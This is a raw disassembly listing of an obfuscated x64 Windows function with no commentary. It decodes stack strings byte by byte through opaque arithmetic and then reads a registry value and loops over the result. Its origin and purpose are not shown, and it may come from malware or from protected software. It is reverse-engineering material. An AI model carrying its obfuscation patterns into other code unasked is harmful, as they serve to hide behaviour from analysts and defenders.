jmp 0x14004b5bb
movzx eax, r11b
movabs rcx, 0xf15b10a0dd39131d
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x35
jmp 0x14004b4e2
movzx eax, r11b
movabs rcx, 0x288bd9514befcc23
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
jmp 0x14004b4df
movabs rdx, 0x5fbca201baa68529
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, dl
movabs rdx, 0x2e7ed7d14b870e45
movzx ecx, r10b
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
sub cl, al
add cl, 0x1d
add cl, dl
add cl, r11b
mov byte [rbp + rbx - 0x60], cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14004a992
movabs rdx, 0x54efc1306cab03b
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0x63
jmp 0x14004b53d
movabs rdx, 0x73b08d73e4382247
movzx eax, r11b
add rdx, rbx
movzx r10d, r11b
and al, dl
add al, al
sub r10b, al
add r10b, 0xf
add r10b, dl
movabs rcx, 0x65afa081ba3dc74b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0xd
add cl, r11b
mov byte [rbp + rbx - 0x60], cl
inc r9
dec rbx
inc rbx
jmp 0x14004a992
movzx eax, r11b
movabs rcx, 0xe2121ed4c1a59453
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x45
dec rbx
inc rbx
jmp 0x14004a992
movabs rcx, 0xbed541967c80786b
mov r11, rdx
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x13
inc r9
movabs rcx, 0xf74e0f20dcd0553f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x47
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx - 0x60], al
add rax, r9
sub rbx, rax
jmp 0x14004b60c
movabs rcx, 0xf6060a46eb373171
movzx eax, dl
add rcx, rbx
movzx r11d, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x17
movzx eax, r11b
inc r8
movabs rcx, 0x5bb5aac8a574f8bc
add rcx, rbx
and al, cl
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x24
add r11b, cl
mov byte [rbp + rbx - 0x60], r11b
add rbx, rax
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14004a992
movzx eax, dl
movabs rcx, 0x2d36d2f759edea77
add rcx, rbx
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x41
movzx eax, byte [rbp + rbx - 0x60]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14004a992
movzx eax, r11b
movabs rcx, 0x29d3de2b3d88eff1
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x69
jmp 0x14004a990
movzx eax, r11b
movabs rcx, 0x6104a6dbac3fa8f7
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x3f
jmp 0x14004a980
lea rdx, [rbp + 0x15dd79c]
jmp 0x14004b6e4
lea rdx, [rbp + 0xc27b19]
jmp 0x14004b6e4
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp - 0x10]
call fcn.1401834a8
movzx r10d, byte [rsp + 0x30]
mov rsi, rax
xor eax, eax
mov dword [rbp - 0x38], 0xfae8f52e
xorps xmm0, xmm0
mov dword [rbp - 0x1c], eax
mov word [rbp - 0x18], ax
movabs rdi, 0x6e4d2bcef3fa9204
mov byte [rbp - 0x16], al
movabs r12, 0x5a95f5e5489206f4
mov dword [rbp - 0x34], 0xf6e2e6e2
movabs r14, 0x2f6c837e6749c67c
mov dword [rbp - 0x30], 0x53eeecdc
movabs r15, 0x7a4097b3d625b894
movups xmmword [rbp - 0x2c], xmm0
movabs r13, 0xc514abe94501aaac
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14004c3c9
movzx r11d, byte [rbp + rbx - 0x38]
mov r8, r11
cmp rax, rbx
ja 0x14004c3c0
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x14004b7d5
lea rdx, [rbx + r12]
mov r10d, Ordinal_46
movzx ecx, dl
and cl, r8b
sub r10b, cl
add r10b, r10b
add r10b, r8b
add r10b, dl
jmp 0x14004b802
je 0x14004c33a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14004c301
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14004c2dc
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14004c2b1
cmp r9, rbx
ja 0x14004c3b7
lea rcx, [r9 + 0xa]
cmp rax, rcx
jae 0x14004b831
lea r8, [rbx + rdi]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x1c
add r10b, r8b
jmp 0x14004b860
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14004c25b
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14004c22e
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x14004c18c
nop dword [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x14004be79
nop dword [rax]
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14004be52
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x14004be24
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14004bdf4
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14004bdcd
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x14004bda5
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14004bd7b
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x14004bd67
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x14004bd3e
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14004bd06
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x14004b870
lea rax, [r9 + 0xa]
lea r9, [rax + 0x10]
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x14004c392
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x14004c36d
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x14004ba4f
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x14004ba2f
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x14004ba0f
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x14004bc9f
lea rdx, [r9 + 0x3e8]
cmp rax, rdx
jb 0x14004bc0b
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x14004bbd9
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x14004b870
lea r9, [rdx + 3]
mov rax, rdx
lea rcx, [r9 + 4]
cmp rdx, rcx
ja 0x14004bba6
lea rcx, [r9 + 0x64]
cmp rdx, rcx
ja 0x14004bb7d
lea rcx, [r9 + 0x200]
cmp rdx, rcx
ja 0x14004bb69
lea rcx, [r9 + 3]
cmp rdx, rcx
ja 0x14004bb44
lea rcx, [r9 + 0x42]
cmp rdx, rcx
ja 0x14004bb1c
lea rcx, [r9 + 0x80]
cmp rdx, rcx
ja 0x14004baf5
lea rcx, [r9 + 2]
cmp rdx, rcx
ja 0x14004baca
lea rcx, [r9 + 0x40]
cmp rdx, rcx
ja 0x14004ba97
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
ja 0x14004ba70
lea rcx, [r9 + 1]
cmp rdx, rcx
ja 0x14004b870
lea rax, [r9 + 0x20]
lea r9, [rax + 0x28]
jmp 0x14004b870
lea r8, [rbx + r14]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x64
add r10b, r8b
jmp 0x14004b860
lea r8, [rbx + r15]
movzx ecx, r11b
and cl, r8b
movzx r10d, r11b
add cl, cl
sub r10b, cl
sub r10b, 0xc
add r10b, r8b
jmp 0x14004b802
lea r8, [rbx + r13]
mov edx, Ordinal_41
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x14004b7a2
mov edx, reloc.WS2_32.dll_recv
movabs r8, 0x72695e779fd49020
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004c27c
mov edx, reloc.WLDAP32.dll_Ordinal_60
movabs r8, 0xbd3d72ad0eb08238
add r8, rbx
movzx ecx, r11b
and cl, r8b
inc r9
sub dl, cl
dec rbx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14004b792
movzx ecx, r11b
movabs rdx, 0x81186e27d8c7450
add rdx, rbx
dec rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x30
inc rbx
jmp 0x14004b792
mov edx, reloc.WS2_32.dll_sendto
movabs r8, 0x52e59b17ec686668
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004c12f
movzx ecx, r11b
movabs rdx, 0x9db9af4d5b445880
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0x80
add rax, r9
jmp 0x14004c321
movzx ecx, r11b
movabs rdx, 0xe88dc382ca204a98
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x28
jmp 0x14004c321
movabs r8, 0x3361d7b838fc3cb0
mov edx, Ordinal_27
jmp 0x14004c19b
movabs r8, 0x7e35ebeda7d82ec8
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x78
add r10b, r8b
jmp 0x14004c1e4
movzx ecx, r11b
movabs rdx, 0xc90a002316b420e0
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + r11]
sub r10b, 0x20
inc rbx
jmp 0x14004b792
mov edx, reloc.WLDAP32.dll_Ordinal_30
movabs r8, 0x41c32a8abd9fe1c
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
mov byte [rbp + rbx - 0x38], r10b
inc rbx
jmp 0x14004b792
movabs r8, 0x99c45b138991e24c
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x14
add r10b, r8b
cmp rax, 9
jae 0x14004c10d
lea rcx, [r9 + 0xa]
cmp rax, rcx
jbe 0x14004bfff
movabs r8, 0x408c3713ec63a28
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x18
add r10b, r8b
cmp r9, 0x200
jb 0x14004bbfe
movzx edx, r11b
movabs r8, 0x17bff95aea2ec538
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r10d, [rdx*2 - 0x10]
jmp 0x14004c27f
movabs r8, 0xe4986f48f86dd464
movzx ecx, r11b
add r8, rbx
mov edx, Ordinal_35
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
lea rcx, [r9 + rax]
cmp rcx, 0x64
je 0x14004c164
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jbe 0x14004bf74
mov edx, 2
movabs r8, 0x95bb97a24acba824
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004bc2c
movzx ecx, r11b
mov edx, Ordinal_46
movabs r8, 0x95cf06d9b7df6c18
add r8, rbx
and cl, r8b
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14004b792
movabs r8, 0xe0a31b0f26bb5e30
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x50
add r10b, r8b
jmp 0x14004c1e4
movabs r8, 0x2b772f4495975048
mov edx, 4
jmp 0x14004c19b
mov edx, Ordinal_50
movabs r8, 0x764b437a04734260
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x14004c321
movzx ecx, r11b
movabs rdx, 0xc11f57af734f3478
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x48
add rax, r9
jmp 0x14004c321
mov edx, 8
movabs r8, 0xbf36be4e22b2690
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004c12f
mov edx, 0x34
movabs r8, 0x56c7801a510718a8
add r8, rbx
movzx ecx, r11b
and cl, r8b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14004b792
movzx ecx, r11b
movabs rdx, 0xa19b944fbfe30ac0
add rdx, rbx
inc r9
and cl, dl
dec rbx
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x40
inc rbx
jmp 0x14004b792
mov edx, listen
movabs r8, 0xec6fa8852ebefcd8
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004c27c
lea rcx, [r9 + 0x200]
cmp rax, rcx
jae 0x14004be9a
lea r8, [rbx + r12]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_46
jmp 0x14004bcb8
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004bed6
movzx ecx, r11b
movabs rdx, 0xdc9a579de7f52408
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + r11]
sub r10b, 0x38
inc rbx
jmp 0x14004b792
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14004bf0c
mov edx, 0x34
movabs r8, 0xb14a06c82c855ba8
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
add rax, r9
jmp 0x14004c321
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14004bf40
movzx ecx, r11b
movabs rdx, 0x1ba1de5d4ecd7778
add rdx, rbx
dec rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x48
inc rbx
jmp 0x14004b792
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14004bcc4
mov edx, 4
movabs r8, 0x85f9b5f271159348
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x14004c27c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004bfa3
movabs r8, 0x4ae7836cdbefb60c
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x54
jmp 0x14004c27c
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14004bfcc
movabs rdx, 0xd4c31e61b1a3fb94
add rdx, rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
jmp 0x14004c31d
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14004bc2f
movabs r8, 0x89ef0a2c42c8097c
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x64
jmp 0x14004c1ae
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14004c03b
movzx ecx, r11b
movabs rdx, 0xb934af3bcfea4810
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
lea r10d, [rdx + r11]
sub r10b, 0x70
inc rbx
jmp 0x14004b792
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14004c06a
movabs r8, 0x43104a30a59e8d98
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x28
jmp 0x14004c12f
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x14004c09e
movzx ecx, r11b
movabs rdx, 0xf83c35fb36c29b80
add rdx, rbx
dec rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0x80
inc rbx
jmp 0x14004b792
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14004c0da
mov edx, reloc.WS2_32.dll_sendto
movabs r8, 0xad6821c5c7e6a968
add r8, rbx
movzx ecx, r11b
and cl, r8b
inc r9
sub dl, cl
dec rbx
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc rbx
jmp 0x14004b792
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14004bc6a
movabs r8, 0x62940d90590ab750
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x30
jmp 0x14004c27c
movzx edx, byte [rbp + rbx - 0x38]
movabs r8, 0xccebe5257b52d320
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
add dl, 0x10
lea r10d, [rdx + rdx]
add r10b, r8b
movabs r8, 0x2781db0ac3e4da14
mov edx, Ordinal_60
add r8, rbx
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x38], dl
add rax, r9
jmp 0x14004c321
movabs r8, 0x8217d0f00c76e108
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, byte [rbp + rbx - 0x38]
sub r10b, 0x38
jmp 0x14004c1ae
movabs r8, 0x62809e58ebf6f35c
mov edx, 0x3e
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
inc r9
movabs r8, 0xdcadc6d55508e7fc
add r8, rbx
mov edx, select
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add dl, r8b
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx - 0x38], cl
add rcx, r9
sub rbx, rcx
inc rax
movabs r8, 0x3743bcba9d9aeef0
add r8, rbx
mov edx, gethostname
movzx ecx, r8b
and cl, r11b
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x38], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x14004b792
mov edx, reloc.WLDAP32.dll_Ordinal_22
movabs r8, 0xf828c6c3c9aed78c
add r8, rbx
movzx ecx, r11b
and cl, r8b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
add rax, r9
jmp 0x14004c321
movabs r8, 0x23791799851e9fec
movzx ecx, r11b
add r8, rbx
movzx r10d, r11b
and cl, r8b
add cl, cl
sub r10b, cl
sub r10b, 0x74
add r10b, r8b
movzx ecx, r11b
movabs rdx, 0x7255ef4032c0cc2c
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0x34
add r11b, dl
mov byte [rbp + rbx - 0x38], r11b
inc r9
dec rbx
inc rbx
jmp 0x14004b792
movzx ecx, r11b
movabs rdx, 0x4ec9686f408e684c
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x14004b792
movzx ecx, r11b
movabs rdx, 0xe47190da1e464c7c
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x64
add rax, r9
jmp 0x14004c321
movabs rdx, 0x2f45a50f8d223e94
add rdx, rbx
movzx ecx, dl
and cl, r8b
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
sub r10b, 0xc
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x14004b792
movzx ecx, r8b
movabs rdx, 0xfc1e1afd9b614dc
add rdx, rbx
and cl, dl
add cl, cl
sub r8b, cl
lea r10d, [rdx + r8]
sub r10b, 4
movzx ecx, byte [rbp + rbx - 0x38]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x14004b792
movzx ecx, r11b
movabs rdx, 0xfe8c01eb3dd9cc4
add rdx, rbx
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x5c
jmp 0x14004b790
movzx eax, r11b
movabs rcx, 0x5abcd45422b98edc
add rcx, rbx
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
jmp 0x14004b780
lea rdx, [rbp + 0x15cabb8]
jmp 0x14004c3cd
lea rdx, [rbp + 0x6eb2ac]
jmp 0x14004c3cd
lea rdx, [rbp - 0x38]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsi + 0x10]
lea rbx, [rsi + 0x18]
test eax, eax
je 0x14004c421
mov edi, eax
nop dword [rax]
lea r9, [rbx + 8]
mov r8, rbx
lea rdx, [rbp]
lea rcx, [0x1402206a8]
call fcn.140058df0
add rbx, 0x14
sub rdi, 1
jne 0x14004c400
mov rcx, rsi
call fcn.140183114
mov rcx, qword [rbp - 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret